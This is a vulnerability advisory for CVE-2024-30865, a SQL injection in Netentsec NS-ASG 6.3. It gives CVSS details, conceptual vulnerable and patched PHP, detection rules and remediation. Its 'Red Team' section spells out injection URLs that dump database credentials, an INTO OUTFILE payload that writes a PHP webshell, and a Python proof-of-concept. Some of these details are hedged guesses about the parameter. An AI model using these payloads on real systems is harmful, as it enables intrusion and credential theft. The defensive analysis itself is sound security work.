CVE-2024-30865

Executive Summary

CVE-2024-30865 is a critical SQL Injection vulnerability discovered in the Netentsec NS-ASG application version 6.3. The flaw resides in the /admin/edit_user_login.php endpoint, allowing an unauthenticated remote attacker to inject arbitrary SQL commands. Successful exploitation could lead to unauthorized data access, modification, or complete compromise of the underlying database and application server. As of this report, no official patch has been released by the vendor, and the vulnerability is considered unpatched. Public proof-of-concept (PoC) code is available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone web application vulnerability in the Netentsec NS-ASG product.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is rated as Critical due to the lack of authentication required, low complexity of exploitation, and the potential for full system compromise.

Deep Dive & Mechanics

The vulnerability exists in the edit_user_login.php script within the admin panel of NS-ASG 6.3. The application fails to properly sanitize user-supplied input before incorporating it into SQL queries. Specifically, the id parameter (or similar) passed via GET or POST request is directly concatenated into a SQL statement without parameterization or escaping.

An attacker can inject SQL metacharacters (e.g., a single quote ') to break out of the intended query structure and execute arbitrary SQL commands. For example, a payload like 1' OR '1'='1 could bypass authentication or extract data from the database.

The backend database is likely MySQL or MariaDB, as typical for PHP-based applications. The injection point allows for UNION-based attacks to retrieve data from other tables, time-based blind injection for data exfiltration, or error-based techniques to leak information.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual PHP):

<?php
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $query);
?>

Patched Code (Conceptual PHP):

<?php
$id = intval($_GET['id']); // or use prepared statements
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
?>

The patched version uses prepared statements with parameterized queries, which completely prevents SQL injection by separating SQL logic from data.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Netentsec NS-ASG 6.3
• Network access to the admin interface (e.g., http://target/admin/edit_user_login.php)

Exploitation Steps:

1. Identify the vulnerable parameter: The id parameter is likely used. Test with a single quote: http://target/admin/edit_user_login.php?id=1'
2. Confirm injection: If an error or unexpected behavior occurs, the parameter is injectable.
3. Extract data using UNION injection:

   http://target/admin/edit_user_login.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
   

   Adjust the number of columns to match the original query.
4. Dump database credentials:

   http://target/admin/edit_user_login.php?id=1 UNION SELECT 1,group_concat(user,0x3a,password),3,4,5,6,7,8,9,10 FROM mysql.user--
   

5. Achieve code execution (if possible): Use INTO OUTFILE to write a webshell:

   http://target/admin/edit_user_login.php?id=1 UNION SELECT 1,"<?php system($_GET['cmd']); ?>",3,4,5,6,7,8,9,10 INTO OUTFILE "/var/www/html/shell.php"--
   

PoC Script (Python):

import requests

target = "http://target/admin/edit_user_login.php"
payload = "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--"
url = f"{target}?id={payload}"
response = requests.get(url)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for SQL injection patterns in HTTP requests to /admin/edit_user_login.php.
• Look for unusual characters like ', ", --, UNION, SELECT, OR, AND in the id parameter.
• Alert on error messages containing SQL syntax errors.

Mitigation:

• Immediately restrict access to the admin panel via firewall rules (allow only trusted IPs).
• Deploy a Web Application Firewall (WAF) with SQL injection rules.
• If possible, disable the vulnerable endpoint until a patch is applied.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /admin/edit_user_login.php containing SQL keywords (e.g., UNION, SELECT, OR, AND, --).
  • Outbound database connections from the web server to external IPs (data exfiltration).
  • Unusual HTTP response sizes or error messages containing SQL syntax.

• File IOCs:

  • Presence of webshells in the web root (e.g., shell.php, cmd.php).
  • Modified or new files in /var/www/html/ or similar directories.
  • Suspicious entries in web server access logs (e.g., GET /admin/edit_user_login.php?id=1 UNION...).

• System IOCs:

  • Unexpected database users or privileges.
  • New cron jobs or scheduled tasks.
  • Unusual processes running as www-data or nobody.

Detection Engineering

YARA Rule

rule CVE_2024_30865_SQLi_Request {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-30865"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-30865"
    strings:
        $sqli1 = "UNION" nocase
        $sqli2 = "SELECT" nocase
        $sqli3 = "OR" nocase
        $sqli4 = "AND" nocase
        $sqli5 = "--" nocase
        $sqli6 = "'" nocase
        $path = "/admin/edit_user_login.php" nocase
    condition:
        $path and (any of ($sqli*))
}

Sigma Rule

title: CVE-2024-30865 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against Netentsec NS-ASG 6.3
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/admin/edit_user_login.php'
        cs-uri-query|contains:
            - 'UNION'
            - 'SELECT'
            - 'OR'
            - 'AND'
            - '--'
            - "'"
    condition: selection
falsepositives:
    - Legitimate use of similar strings in queries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30865 SQL Injection Attempt"; flow:to_server; content:"/admin/edit_user_login.php"; http_uri; content:"UNION"; nocase; http_uri; content:"SELECT"; nocase; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system: Disconnect the NS-ASG appliance from the network if possible, or restrict access to the admin interface via firewall rules.
2. Apply virtual patching: Use a WAF to block SQL injection patterns targeting /admin/edit_user_login.php.
3. Monitor logs: Review web server and database logs for signs of exploitation.

Long-term Fix:

• The vendor (Netentsec) must release a security patch that implements parameterized queries or input validation. Until then, consider migrating to an alternative solution.
• If source code is available, manually fix the vulnerable file by replacing direct string concatenation with prepared statements.

Compromise Assessment:

• Check for unauthorized database access or data exfiltration.
• Scan for webshells or backdoors.
• Review user accounts and privileges for anomalies.

Valters IT